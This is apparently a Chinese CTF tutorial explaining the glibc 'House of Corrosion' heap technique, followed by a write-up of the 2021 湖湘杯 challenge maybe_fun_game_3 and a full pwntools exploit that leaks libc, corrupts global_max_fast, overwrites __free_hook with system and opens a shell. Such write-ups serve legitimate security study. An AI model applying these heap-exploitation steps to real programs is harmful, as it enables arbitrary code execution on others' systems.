House of Corrosion 原理及利用
利用思路
有些師傅可能看到這個名字有些陌生,但實際上這已經是一個很早以前就出現的利用方法了,一直適用到最新的 GLIBC 中。
要了解這個方法,我們首先要先知道 global_max_fast 是什么?簡單的來說 global_max_fast 是 GLIBC 用來儲存 fastbin 鏈表能夠儲存的最大大小,其默認值為 0x80,也就是 Fastbin 的默認 Size 范圍是在 [0x20, 0x80]。

而此方法,其根本的思想就是通過往 global_max_fast 寫入一個很大的值,來造成 fastbinsY 數組溢出。如果我們利用其他漏洞在這個位置寫一個很大的值,會使得在 malloc 和 free 堆塊的時候,很大 Size 堆塊都被判定為是 fastbin 類型的堆塊,fastbinsY 是在 GLIBC 上儲存 fastbin 不同大小鏈表頭指針的一段空間,為大小從 0x20 開始的 fastbin 鏈表預留了十個指針。

這意味著,如果有 SIZE 超過 0xB0 的堆塊,那么這個堆塊計算得到的索引值就會超出 fastbinsY 的最大范圍,造成數組越界。我們可以使用以下公式來計算出目標溢出位置,對應的需要構造的堆塊 SIZE,其中的 delta 指的是溢出位置到 fastbinsY 首地址的差值。
chunk size = (delta * 2) + 0x20
接下來分為 malloc 和 free 兩個方向來講解此方法的應用。
malloc
一般來說這種攻擊方法是無法任意申請堆塊地址的,一方面是因為申請的 Size 受到主程序限制,另一方面在 Fastbin 中申請出來堆塊會檢測 SIZE 位對應的索引是否與當前索引一致,如果不一致則會報錯退出。
但是我們可以通過篡改 fastbin 鏈表來在 fastbinsY 后寫一個可控的內容,但是前提是主程序可以申請出那個 SIZE 的堆塊,利用思路如下
1.free,SIZE 可以使得 fastbinsY 溢出到需要的位置
2.利用 UAF 漏洞,在此堆塊的 fd 位置寫我們要篡改的數據,8 字節
3.malloc,SIZE 和之前的一致
這里的可以利用的原因是:在 malloc 的時候會把 fastbinsY 的鏈表頭部取出,并且把其 fd 位置的內容作為鏈表頭部寫入到 fastbinsY 數組中,而在這個過程中沒有對可控堆塊的 fd 位置的內容的合法性做檢查。
free
利用前提
由于在 free fastbin 堆塊的時候會檢測被 free 堆塊的下一個堆塊的 SIZE 是否合法,這意味著我們雖然可以通過直接偽造 SIZE 位來觸發溢出,但是還需為偽造 SIZE 的堆塊的下一個堆塊偽造一個合法的 SIZE。所以這個方法有個利用的前提就是能為下一個堆塊偽造 SIZE,以下提出的利用方法都在滿足這個利用前提的情況下實現。

泄露
利用這個方法可以泄露 libc 上在 fastbinsY 之后的數據,泄露的思想就是利用 free 時會把此堆塊置入 fastbin 的頭部,所以 free 后在此堆塊的 fd 位置的內容,就是 free 前此 SIZE 的鏈表頭部指針,通過越界就可以讀取 LIBC 上某個位置的內容。
用 leakfind 命令可以看能泄露哪些空間的地址。
leakfind 0x7f50fe111bb0 --page_name=house_of_fmyyass --max_offset=0x3000 --max_depth=3 #address:0x7f50fe111bb0 (例如在此利用中應該為fastbinsY的首地址)#page_name: 找哪里的地址,例如:libc,stack#max_offset:范圍(例如在此利用中,是最大能控制next chunk size的位置)#max_depth: 層數#其他選項...
寫的思路與泄露的類似,就是利用在 free 后此 SIZE 的鏈表頭部指針會變成被 free 的堆塊指針。利用這個思路可以在 fastbinsY 之后寫入堆塊指針。
這個思路只能寫入可控的堆塊指針,而不是可控內容,但是相對于之前的方法,這個方法不要求主程序可以申請很大 SIZE 的堆塊。
寫入位置的選擇就很多樣了,只需要抓住一點,我們可以寫入一個可控的堆塊指針。而使用 Unsorted Bin Attack 或 Tcache Stashing Unlink Attack 能夠寫入的內容都是在 LIBC 上,屬于不可控的位置,通過這個打 global_max_fast 的思路,就可以把不可控地址的寫入轉換為可控地址的寫入,這給我們提供一種利用思想。
1. 在程序中有通過 exit 來退出循環,在這種情況下,我們就可以通過寫 _IO_list_all 再配合不同版本 GLIBC 在 IO File 的攻擊思想或考慮用 House of banana,最后 get shell。
a. 2.23 版本:對 vtable 的位置沒有檢測,可以直接在任意可控位置偽造一個 vtable,具體的利用思路可以參考 Angel Boy 的 House of orange 的打法。
b. 2.27 版本:在 _IO_str_finsih 和 _IO_str_overflow 中有對函數指針的直接調用,可以通過調試找到對應位置并修改為 system。
c. 2.28 – 2.33 版本:這部分版本把函數指針的調用改為了直接的 malloc 和 free 調用,這使得構造指針的思路不再有效,可以考慮用 House of pig 中的打法。
d. 2.34 版本:這個版本把 __free_hook 和 __malloc_hook 都刪除了,所以使得 house of pig 的打法也失效了,可以考慮使用 House OF Emma 來攻擊。
2. 覆寫 Top Chunk 標志來觸發 House OF Kiwi,House OF Kiwi 的利用條件有一部分在于觸發在 assert 上,使用這個方法能夠快速的讓 Top Chunk 的 Size 變的“不合法”,再次申請大于寫入堆塊的 Size 的堆塊就能觸發 assert。
3.結合 House of banana 來攻擊
4.結合 House of husk 來攻擊,之后會單獨寫一篇 House of husk 文章中提出。
例題
這里以 2021 湖湘杯初賽 maybe_fun_game_3 這題為例來講解本方法的實戰利用
初始化
在程序正式運行之前,會使用 mmap 來分配一段空間,賦值給這里名為 dest 的變量,用于之后的加解密工作

加密過程
加密分為兩步,創建一個加密數據塊和創建一個加密數據結構體

加密數據塊
1. 循環讓 i 從 0x50 到 0xFE
2. 每次循環生成兩個隨機數(rnd1、rnd2),并對 0x50 取模
3. 把 Rnd1 放到下標為 i 的數組中
4. 用 Rnd2 對從 0 到 i 作為下標的每一位內容做異或
5. 把 Rnd1 到 i 作為下標的每一位內容向后移
6.把 Rnd2 放到下標為 Rnd1 的數組中

創建結構體
1. 偏移 0:0x6C616E6C616E7777(lanlanww)作為魔數來標記加密結構體內容
2. 偏移 8:數據長度,限制為小于 0x50
3. 偏移 0x10:加密后的數據內容
4. 把以上結構內容用 base64 進行編碼,并且用 puts 輸出

解密過程
解密過程我們可以根據加密過程來逆推,而在此題中因為需要雙方交互,所以也存在解密函數。
解析結構體
1. base64 解碼
2. 判定 maigc 是否一致
3. 判斷 長度 是否超過限制
4.如果該函數的參數 is_encode 為 1 則解密加密的數據,否則直接返回加密數據
當把數據放置到堆塊時,會直接存放加密的數據,直至讀取堆塊內容時再進行二次解密。

解密數據
是加密過程的逆向,但是在實現中出現漏洞。
在解碼過程中會引用到 Rnd1,在正常的加密過程中,這個隨機數會對 0x50 取余,把數據限制在 0x50 以內,不會出現任何問題。但是在這里由于沒有對直接寫入堆塊的內容進行檢驗,允許 Rnd1 大于 0x50,而在取 Rnd2 時,Rnd1 作為下標用的類型是 char ,構造使其可以為一個負數,造成 Rnd1 到 i 的每一位前移的過程中造成向前溢出,計算得到值為 0xE8 時正好可以向前溢出修改到 is_delete 結構的內容。

程序功能和邏輯
程序具有以下四個功能
1. New
2. Del
3. Edit
4. Show
5. Backdoor
New
創建了一個大小為 0x110 的堆塊,結構體如下。
把解析得到的數據大小放到 size 結構中,加密數據 0x100 字節內容完全復制到 data 結構中
00000000 node struc ; (sizeof=0x110, mappedto_15)00000000 ; XREF: main+12F/r00000000 ; main+13D/r ...00000000 data db 256 dup(?) ; XREF: main+3E4/r00000000 ; main+4E4/r ; string(C)00000100 size dq ? ; XREF: main+13D/r00000100 ; main+2FC/w ...00000108 is_delete dq ? ; XREF: main+12F/r00000108 ; main+1D0/r ...00000110 node ends

Del
釋放結構體數據,并且標記 is_delete 位為 1,此時對 is_delete 結構的寫入實際上存在 UAF,但是無法控制具體內容。
Edit
讀入堆塊內容,并且寫入堆塊內容的是加密后的數據塊

Show
把堆塊中的內容先經過解密再輸出

Backdoor
允許按照順序觸發后門功能,依照次序是 4,3,2,1
后門可以創建一個 Size 大于 0x2000 的堆塊,并且可以在堆塊釋放后對堆塊內容進行修改,從而造成了 UAF,結合這次所說的利用方法,不難想到以下內容 —— “在 malloc 的時候會把 fastbinsY 的鏈表頭部取出,并且把其 fd 位置的內容作為鏈表頭部寫入到 fastbinsY 數組中,而在這個過程中沒有對可控堆塊的 fd 位置的內容的合法性做檢查”

通過計算 0x3918 這個 Size,在 fastbinsY 溢出的情況下,正好可以覆蓋到 __free_hook 的內容,這意味著我們可以借助后門來修改 __free_hook 上的內容。

利用思路
1.利用 Double Free 的報錯泄露出遠程的 LIBC 版本為 2.23
2.利用 Unsorted Bin 堆塊可以在 FD 和 BK 位置存在一個 LIBC 地址,但是在使用 Show 功能時會對數據進行解密,解密過程會受到 LIBC 地址的內容影響,我們再把 Key 的內容全部設置為 0,這樣異或時內容不會變化,有概率能夠泄露出 Libc 基址,需要一定的爆破
3.我們可以在非 Backdoor 的功能處,利用向前溢出造出一個 UAF,再用 Unsorted Bin Attack 來打 global_max_fast
4.利用 Backdoor 4 的功能創建一個大小為 0x3918 的堆塊
5.利用 Backdoor 3 的功能把這個堆塊釋放,此時在 __free_hook 處的內容為 fastbinsY 溢出的堆塊指針
6.利用 Backdoor 2 的功能在這個堆塊的 fd 位置寫入 system 的函數指針
7.利用 Backdoor 1 的功能把這個堆塊申請出來,這時候此堆塊 fd 位置的內容會進入 fastbinsY,也就時 __free_hook 處會存在一個 system 函數指針。
8.再把提前構造好的 /bin/sh 給 free 掉,就會觸發 system(‘/bin/sh’)
Exp
import base64from pwn import *
elf = Nonelibc = Nonefile_name = "./Maybe_fun_game_3"
# context.timeout = 1
def get_file(dic=""): context.binary = dic + file_name return context.binary
def get_libc(dic=""): libc = None try: data = os.popen("ldd {}".format(dic + file_name)).read() for i in data.split(''): libc_info = i.split("=>") if len(libc_info) == 2: if "libc" in libc_info[0]: libc_path = libc_info[1].split(' (') if len(libc_path) == 2: libc = ELF(libc_path[0].replace(' ', ''), checksec=False) return libc except: pass if context.arch == 'amd64': libc = ELF("/home/cnitlrt/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6", checksec=False) elif context.arch == 'i386': try: libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False) except: libc = ELF("/lib32/libc.so.6", checksec=False) return libc
def get_sh(Use_other_libc=False, Use_ssh=False): global libc if args['REMOTE']: if Use_other_libc: libc = ELF("./libc.so.6", checksec=False) if Use_ssh: s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4]) return s.process(file_name) else: if ":" in sys.argv[1]: r = sys.argv[1].split(':') return remote(r[0], int(r[1])) return remote(sys.argv[1], int(sys.argv[2])) else: return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None, int_mode=False): if start_string != None: sh.recvuntil(start_string) if libc == True: if info == None: info = 'libc_base:\t' return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) elif int_mode: return_address = int(sh.recvuntil(end_string, drop=True), 16) elif address_len != None: return_address = u64(sh.recv()[:address_len].ljust(8, '\x00')) elif context.arch == 'amd64': return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00')) else: return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00')) if offset != None: return_address = return_address + offset if info != None: log.success(info + str(hex(return_address))) return return_address
def get_flag(sh): try: sh.recvrepeat(0.1) sh.sendline('cat flag') return sh.recvrepeat(0.3) except EOFError: return ""
def get_gdb(sh, addr=None, gdbscript=None, stop=False): if args['REMOTE']: return if gdbscript is not None: gdb.attach(sh, gdbscript) elif addr is not None: gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")") else: gdb.attach(sh) if stop: raw_input()
def Attack(target=None, elf=None, libc=None): global sh if sh is None: from Class.Target import Target assert target is not None assert isinstance(target, Target) sh = target.sh elf = target.elf libc = target.libc assert isinstance(elf, ELF) assert isinstance(libc, ELF) try_count = 0 while try_count < 30: try_count += 1 try: pwn(sh, elf, libc) break except KeyboardInterrupt: break except EOFError: sh.close() if target is not None: sh = target.get_sh() target.sh = sh if target.connect_fail: return 'ERROR : Can not connect to target server!' else: sh = get_sh() flag = get_flag(sh) return flag
def decode(data): print data try: t = base64.b64decode(data) assert t[:8] == 'wwnalnal' size = u64(t[8:0x10]) t = t[0x10:] for i in range(0xFE, 0x4F, -2): rnd1 = ord(t[i + 1: i + 2]) rnd2 = ord(t[rnd1: rnd1 + 1]) t = t[:rnd1] + t[rnd1 + 1: i + 1] + '\xFF' + t[i + 1:] for j in range(i): t = t[:j] + chr(ord(t[j: j + 1]) ^ rnd2) + t[j + 1:] return t[:size] except: pass
def encode_data(data): t = data.ljust(0x100, '\xFF') for i in range(0x50, 0x100, 2): rnd1 = 0 rnd2 = 0 t = t[:i] + chr(rnd1) + t[i + 1:] for j in range(i): t = t[:j] + chr(ord(t[j: j + 1]) ^ rnd2) + t[j + 1:] t = t[:rnd1] + chr(rnd2) + t[rnd1: i + 1] + t[i + 2:] return t
def encode(data): return base64.b64encode(p64(0x6C616E6C616E7777) + p64(len(data)) + encode_data(data).ljust(0x100, '\xFF'))
def pack_struct(data): return base64.b64encode(p64(0x6C616E6C616E7777) + p64(0x0) + data)
def getline(): return decode(sh.recvline())
def recvuntil(t): try: while True: data = getline() if data == None: raise EOFError print data if t in data: return except: pass
def senddata(t, type=1): if type == 0: data = pack_struct(t) else: data = encode(t) sh.sendline(data)
def choice(idx): recvuntil('Choice') senddata(str(idx))
def add(size, content): choice(1) recvuntil('[Create]Size?') senddata(str(size)) recvuntil('[Create]Content?') senddata(content, 0) recvuntil('[Create]Done!')
def delete(idx): choice(2) recvuntil('[Delete]Index?') senddata(str(idx)) recvuntil('[Delete]Done!')
def edit(idx, content): choice(3) recvuntil('[Edit]Index?') senddata(str(idx)) recvuntil('[Edit]Content?') senddata(content, 0) recvuntil('[Edit]Done!')
def show(idx): choice(4) recvuntil('[Query]Index?') senddata(str(idx)) return getline()
def pwn(sh, elf, libc): # context.log_level = "debug" sh.recvuntil('>>>>>>>>>>>>>>>>>>>>>') add(0x18, 'a' * 0x100) add(0x4f, encode_data('a' * 0x18)) add(0x18, '\xE8' * 0x100)
choice(5) recvuntil('[backdoor_msg]Size?') senddata(str(0x3918))
edit(1, '\x00' * 0x50 + '\xE8' * 0x50) delete(1) edit(2, '\xE8' * 0x100) show(2)
leak_data = show(1) log.hexdump(leak_data)
leak_idx = leak_data.find('\x7f') if leak_idx < 5: leak_idx = leak_data.find('\x7f') libc_base = u64(leak_data[leak_idx - 5: leak_idx + 1].ljust(8, '\x00')) - 0x3c4b78 if libc_base & 0xfff != 0: raise EOFError log.success("libc_base:\t" + hex(libc_base)) pause() global_max_fast = libc_base + 0x3c67f8 system_addr = libc_base + 0x453a0 edit(1, p64(libc_base + 0x3c4b78) + p64(global_max_fast - 0x10)) add(0x18, 'a' * 0x100) # 3 edit(3, p64(libc_base + 0x3c4b78) * 2) edit(0, "/bin/sh\x00" * 2) choice(5)
choice(5) recvuntil('[backdoor_msg]Content?') senddata(p64(system_addr) * 2, 0) choice(5)
choice(2) recvuntil('[Delete]Index?') senddata(str(0)) sh.interactive()
if __name__ == "__main__": sh = get_sh() flag = Attack(elf=get_file(), libc=get_libc()) sh.close() if flag != "": log.success('The flag is ' + re.search(r'flag{.+}', flag).group())